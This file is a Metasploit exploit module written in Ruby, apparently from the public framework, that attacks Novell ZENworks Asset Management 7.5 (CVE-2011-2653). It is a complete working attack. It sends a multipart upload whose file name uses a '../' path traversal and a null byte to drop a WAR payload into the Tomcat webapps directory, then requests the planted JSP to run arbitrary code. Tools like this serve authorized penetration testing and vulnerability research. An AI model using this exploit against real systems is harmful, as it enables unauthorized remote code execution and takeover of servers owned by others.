##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Novell ZENworks Asset Management Remote Execution',
      'Description' => %q{
          This module exploits a path traversal flaw in Novell ZENworks Asset Management
        7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
        outside of the MalibuUploadDirectory and then make a secondary request that allows
        for arbitrary code execution.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2011-2653' ],
          [ 'OSVDB', '77583' ],
          [ 'BID', '50966' ],
          [ 'ZDI', '11-342' ],
          [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
        ],
      'Privileged'  => true,
      'Platform'    => [ 'java' ],
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 02 2011'))

    register_options(
      [
        Opt::RPORT(8080),
        OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
      ])
  end

  def exploit

    # Generate the WAR containing the payload
    app_base = rand_text_alphanumeric(4+rand(32-4))
    jsp_name = rand_text_alphanumeric(8+rand(8))
    war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

    uid  = rand_text_alphanumeric(34).to_s

    data =  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
    data << "prod\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
    data << "newreport\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
    data << "n\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
    data << "malibu.StartImportPAC\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
    data << "malibu.StartImportPAC\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
    data << "MM/dd/yyyy\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
    data << "$\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
    data << "start\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
    data << ",\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
    data << ".\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
    data << "-\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
    data << "yes\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << war_data
    data << "\r\n"
    data <<  "------#{uid}\r\n"
    data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
    data << "Html/UploadSuccess.html\r\n"
    data <<  "------#{uid}--\r\n"

    res = send_request_cgi(
      {
        'uri'    => "/rtrlet/catch",
        'method' => 'POST',
        'ctype'   => "multipart/form-data; boundary=----#{uid}",
        'data'    => data,
      })

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    select(nil, nil, nil, 10)

    if (res.code == 500)
      print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
        send_request_raw(
          {
            'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
            'method' => 'GET',
          })
    else
      print_error("WAR upload failed...")
    end

  end
end
